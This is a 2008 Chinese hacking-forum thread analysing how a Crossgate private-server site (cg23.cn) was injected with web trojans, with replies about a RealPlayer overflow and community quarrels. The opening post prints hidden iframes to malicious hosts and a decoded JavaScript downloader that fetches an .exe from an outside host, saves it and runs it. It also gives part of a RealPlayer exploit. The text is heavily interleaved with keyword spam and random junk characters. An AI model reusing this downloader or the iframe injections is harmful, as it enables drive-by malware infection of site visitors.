标题: [讨论] cg23分析 [打印本页]

---

作者: 黄昏    时间: 2008-2-4 21:47     标题: cg23分析

Host: www.cg23.cn
. S  U' J! `* L7 V2 H7 m魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表Content-Location: http://www.cg23.cn/Index.htm—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート2 A# I; r6 d, D3 p. j
--src—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート1 O; i' `1 p& N) a* \
—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート5 o: k. U. k5 Y' W& g
<script language="JavaScript" type="text/JavaScript" src="http://news.baidu.com/ns?word=title%3A%C4%A7%C1%A6%B1%A6%B1%B4&tn=newsfcu&from=news&cl=2&rn=25&ct=0"></script>魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表" o8 k  Y  q" {% w! r
--百度新闻-魔力宝贝—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート+ t5 D1 Z# B7 q5 M3 |+ ?( |$ w

9 o1 |2 h1 ^4 W- H—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲートhttp://wpa.qq.com/pa?p=1:******************
/ ]0 V$ T, k1 P& @+ ubbs.mocwww.com10数个魔力技术顾问的QQ链接
9 w$ W- z" I: w魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表
" Z! D4 I. R& z6 {6 e, [- F' ~, R# \魔力私服,最新魔力宝贝私服技术交流<script src="javascript/jf.js" type="text/javascript"></script>
! I  f( {) J$ A+ u- z% O5 w8 wbbs.mocwww.com//模仿语言包式的简繁转换功能插件！—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート0 f7 E% g* K7 t) R: ~7 F* {
bbs.mocwww.com. `1 ]; I. h: Q; @: P. q
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1326170.js"></script>
! G& z1 C* v9 F' o  U# Z8 r/ [魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表51.la流量统计
% L5 V% Z8 E, Q6 {1 A; c& R魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表# D3 X# t# w$ b  W" R8 Z
<script src='http://s71.cnzz.com/stat.php?id=722391&web_id=722391&online=2' language='JavaScript' charset='gb2312'></script>bbs.mocwww.com% V5 _1 a; _' }! g" H* e* r$ W
cnzz流量统计
$ }% ^2 \* R) V/ F6 x- p" A2 [$ c魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表bbs.mocwww.com! V& P* t& L3 A0 O1 j5 f2 T' k
<script language="javascript" src="http://count36.51yes.com/click.aspx?id=361527223&logo=12"></script>
) k7 l0 E8 v0 @" Z$ k' \, F6 d魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表51YES网站统计$ ]6 j5 `9 y, c+ R: D1 _

: ~6 i+ @7 {9 {1 l$ o5 Q) _. Zbbs.mocwww.com<iframe src=http://1.100190.com/1.htm?6 width=50 height=0></iframe></a>魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表* K; }3 W9 v% U9 p) E3 y% S
下面是1.htm的内容
9 T# ~$ {( j" k& h4 ]# gbbs.mocwww.com[<iframe src=http://1.100190.com/d/d.htm width=100 height=100></iframe>魔力私服,最新魔力宝贝私服技术交流+ V/ I3 g7 D# \' Z' L) _
<iframe src=http://1.100190.com/d/06014.htm width=100 height=100></iframe>
: i- S( H, X# p魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表<iframe src=http://1.100190.com/d/real.htm width=100 height=100></iframe>妖城在线论坛9 D# L! p$ d3 {0 z2 I" ^& W
这里是重点了
! _( ?/ Z, q% ]3 C魔力私服,最新魔力宝贝私服技术交流<script language="javascript" type="text/javascript" src="http://js.users.51.la/1586580.js"></script>魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表' e# Q9 ^4 N3 t( f4 j7 W
51.la流量统计妖城在线论坛- w8 S( o& N  o" {
]—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート1 a  s  j2 T1 U% t& Y/ M
闲来无事，给大家分析一下吧—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート3 `' F3 s" ?1 T4 x2 I
06014.htm        看名字好像是蛮老的那个溢出洞洞妖城在线论坛+ X& h5 ~5 g1 ^7 I( ]
解码后
. b) [. V+ d( ]! c妖城在线论坛<script>var fuck,cike;fuck="http://1.111281.com/down.exe";cike="cike.com";try{var ado=(document.createElement("object"));var d=1;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var e=1;var xml=ado.CreateObject("Microsoft.XMLHTTP","");var f=1;var ln="Ado";var lzn="db.St";var an="ream";var g=1;var as=ado.createobject(ln+lzn+an,"");var h=1;xml.Open("GET",fuck,0);xml.Send();as.type=1;var n=1;as.open();as.write(xml.responseBody);as.savetofile(cike,2);as.close();var shell=ado.createobject("Shell.Application","");shell.Shellexecute(cike,"","","open",0);}catch(e){};</script>妖城在线论坛% ]' ~1 [& G- Y
貌似是个下载者饿，打包了，大家没事研究研究 我就跳过了……
1 `; N8 u+ t! c' v4 P$ Z$ U; {: U
6 h, c( Y9 B" G, E5 O2 b4 U魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表d.htm        解码之
# b* |" `; m$ K" ?' \. ~<iframe style=display:none src="http://1.100190.com/d/bf.htm"></iframe>
" w- l" E  O$ p& U% r! ebbs.mocwww.com呜呜，我们继续
. w3 j3 V4 u# |4 a" S—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート空文件，可能是后备用的吧& F3 L9 ]6 z! r. b
魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表& s- y7 P& s$ d
real.htm        看名字可能根播放器的oday有关0 X1 {9 Z7 k- f  L+ [
解码之——
( I0 A" `/ z. r" L) R# Y9 ?—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲートfunction RealExploit(){afdsffffasdf="flsdajflasdjfl32rewr231ffas";var ……魔力私服,最新魔力宝贝私服技术交流3 I8 p, p! \' O' m
恩，查资料得知为机器狗病毒，不过不玩这个 不大懂妖城在线论坛( }/ N1 {, x' G5 h
好了，确定是网马，至于效果如何，反正我没中招……
% k7 ^7 Z# i2 c7 e# {3 n4 J
" [. O* i$ m0 P, z! F妖城在线论坛就酱子吧，很多防护不好的网站都会被人挂马，希望cde尽快处理，我对其人没有任何恶意的，大家不要有事没事就对他妄加否定，& q4 }6 f5 g: x0 V* I; k
想想 人家辛辛苦苦为了什么那？开那么多群，没说过收费什么的吧？ 有知道的东西就共享出来 也没见藏着掖着吧？
! U- c4 @! \, M4 F( h/ K魔力私服,最新魔力宝贝私服技术交流紫薇剑是谁我不晓得，bbs.mocwww.com3 j" M8 u8 d" U4 C# P  c% G
但是cg23的ange我还是打过交道的……bbs.mocwww.com  \: G3 d( P# r/ `! [9 @" G  b) P' @

, S2 I, r" V: o1 S& c  {6 y妖城在线论坛<param name="URL" value="http://www.jdzblog.com/uploadfiles/2007-3/327162852.mp3">
. O% t' y- c1 D- s—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート最后给大家附个音乐 深吸一口气，放松一下，没什么大不了的……
5 J* }1 ^# x* D. ~4 N/ q+ ?妖城在线论坛bbs.mocwww.com+ a. \# K. `+ E/ o! Y
[ 本帖最后由 myzz01 于 2008-2-4 21:53 编辑 ]

---

作者: FGMAX    时间: 2008-2-4 21:49

那个是内嵌的JS调用溢出马.很老的一种了..
5 \7 D( z* p' V+ |& U魔力私服,最新魔力宝贝私服技术交流LS的兄弟我劝你..
' x1 b* q/ `& C* {( X妖城在线论坛搞CG,不知道紫薇剑,就和中国人不知道毛泽东一样.
) i1 y: U4 ?) B0 }% o你没资格说内些话..

---

作者: FGMAX    时间: 2008-2-4 21:50

魔力私服,最新魔力宝贝私服技术交流+ S$ m% u6 l3 T
开那么多群.从来没说过话.
( j0 d' C: v3 l—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート和某XXOO反挂不一样?妖城在线论坛# v, m7 Q6 G/ h9 S; C) K
技术群一大堆.问问题没见回.魔力私服,最新魔力宝贝私服技术交流; }9 O, o% z+ }0 K- W4 R+ b: F$ T
一买他东西积极的很.—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート9 f! Z! N, F* P# N  c7 _$ I2 \- Y" C

4 r7 n4 r6 c  y魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表 —魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート/ T+ L0 d- }2 E  B! W
他现在扔出来的东西都是别人淘汰的., v8 _& d' G; k2 [) r. E
也不知道谁抱着一套所谓的反挂,还当宝咧..

---

作者: 厶⒉姙⒈    时间: 2008-2-4 21:58

这样啊··

---

作者: 黄昏    时间: 2008-2-4 21:59

那个  资格不晓得要怎么赚取 …… :-)  是不是当中国人只要知道毛泽东就具备中国人的血统了？估计某些知道老毛的小日本要雀跃了……
2 n6 \7 r9 }1 X5 ?血统是与生俱来的，根毛泽东关系不大，我的资格 仿佛也根我知道不知道紫薇剑关系不大吧？
4 t5 z' F4 t* i妖城在线论坛我喜欢根海星兄 妖哥 小男这样说话爽快的人交流，至于不从技术方面讨论问题 而专门搞人事鉴定的……  不是很感冒……bbs.mocwww.com% ?8 A# g. l) g$ m, K
(*^__^*)   随便说说拉 ange真的打了很久叫道的 从我开始研究魔力（快1个月了） 没事都会在QQ上交流下的 ——感觉人有点迷糊 但是没有什么坏心眼吧？妖城在线论坛0 e9 p( z& O. a7 N/ D  A* H
至于FGMAX ：） 我可是加你QQ拜师的哦 可惜你不回复…… 唉  要不现在收下我吧？

---

作者: FGMAX    时间: 2008-2-4 22:08

我，大家都知道，对话不对人。
' F! p7 c  ~/ P9 i. P妖城在线论坛要是惹着你了就当别在意。
' B( |  G+ {7 {, r魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表
& w9 d/ j4 m# U' H% q魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表加我人太多，每天问问题人也太多。
" Q0 m6 _/ b! G7 e) K8 N  g) y不能一一照料。
9 `1 ^; P- c9 f1 G' y7 y7 ]8 c4 j, P魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表魔力私服,最新魔力宝贝私服技术交流, i  M; F! w: W1 ?& t
我就收了一个徒弟，晨曦。
8 n1 h$ [$ z6 k! s% U2 h魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表
1 e8 n9 F) }5 I/ `( J7 v: b9 p妖城在线论坛以后有需要就说，知道肯定告你。

---

作者: 黄昏    时间: 2008-2-4 22:28

引用:

原帖由 FGMAX 于 2008-2-4 22:08 发表
6 G: T) g3 y/ A* j1 M我，大家都知道，对话不对人。
4 a8 L+ Y4 w3 n5 a—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート要是惹着你了就当别在意。# Z! I; j$ ?( X/ f* j

" e9 i  ]' `4 S4 F) M魔力私服,最新魔力宝贝私服技术交流加我人太多，每天问问题人也太多。
+ d! I+ Q- \% x7 i/ y8 t. z* i—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート不能一一照料。
+ Q; h3 J4 I3 R" l—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート
( G) p0 i0 [* K3 p/ X魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表我就收了一个徒弟，晨曦。魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表1 |( Q4 k1 S, f; ]4 ~! L' {

2 @2 c, M' U& j$ R1 R魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表以后有需要就说，知道肯定告你。

魔力私服,最新魔力私服,魔力宝贝私服,魔力宝贝私服技术,魔力宝贝私服,私服架设技术,妖城,FLASH,电影,黑客,网络,网吧,破解,入侵,注册表1 E( i+ V! [, l) E9 y

" v  u: f( u5 B: q—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート" N" E- U$ ~! j: H( v  j# h' O
：）  交个朋友 一起交流饿 …… 我去想办法看懂魔力封包处理部分的代码去…… 想学的东西太多 时间太少 一动就该睡觉了……郁闷　ＨＯＨＯ　　晚上见……

---

作者: 31558770a    时间: 2008-2-4 22:38

回家前 上来看看—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート; Y( R6 c' L* @# r. T

---

作者: itsong    时间: 2008-2-4 22:45

RealPlayer 的溢出漏洞,打完RealPlayer溢出补丁的不会中.

---

作者: ｋ|尛水    时间: 2008-2-4 22:53

RealPlayer 不装呢- -

---

作者: healcs01    时间: 2008-2-5 08:54

CG23就是白吃,乱吧人的QQ放在他网页上当什么顾问  我日

---

作者: 黄昏    时间: 2008-2-5 09:50

引用:

原帖由 ?ｋ|尛水 于 2008-2-4 22:53 发表
8 [; X" y9 M# V5 P4 b—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲートRealPlayer 不装呢- -

—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート+ [- `! f; t2 h! s+ D
不装当然就中不了real的0day了，不过其他溢出漏洞不胜枚举，而且就算不中马，被挂马的站访问起来也会很慢…… 经常访问很容易体会出区别…… 中木马也一样 你要经常使用电脑就会有手感的 当机器中木马病毒什么的 你就会感觉不顺手了……

---

作者: xuyaoxy    时间: 2008-2-5 10:49

呵呵...real我就没装过~~呵呵..

---

作者: 易凡    时间: 2008-2-6 13:41

我问问无双，是被人挂了还是自己搞的……。它那站流量也没多少，应该不至于坏自己的名声做这种事。
' u4 t; ~( W+ y8 d3 s' z% Z/ H妖城在线论坛
  n4 T  A. z5 ?4 K, l! @bbs.mocwww.com现在有马是事实了

---

作者: 囡囡    时间: 2008-2-6 15:25

没说过收费?那他的高级群谁出的QB,你也不想想

---

作者: FGMAX    时间: 2008-2-6 16:38

引用:

原帖由 healcs01 于 2008-2-5 08:54 发表 bbs.mocwww.com$ I9 X/ T! T' `; K6 p8 d: f( ~) l" c
CG23就是白吃,乱吧人的QQ放在他网页上当什么顾问  我日

4 N! M* ^* w7 @; }; w—魔力私服,魔力宝贝私服技术,DELPHI编程,魔力寶貝, 魔力宝贝, 크로스게이트,クロスゲート  不知道有没有我们…妖城在线论坛( {- H0 Q! i# T' j/ N
               反正最近莫名其妙地很多人问问题…
  ^/ P2 x0 _' A7 _. r魔力私服,最新魔力宝贝私服技术交流               替他们卖命…还有人很喜欢无双…`？
$ h/ l3 f8 W( x2 o妖城在线论坛bbs.mocwww.com- y9 F( ?5 Y/ M+ q

---

欢迎光临 妖城在线论坛 (http://bbs.mocwww.com/)

Powered by Discuz! 6.0.0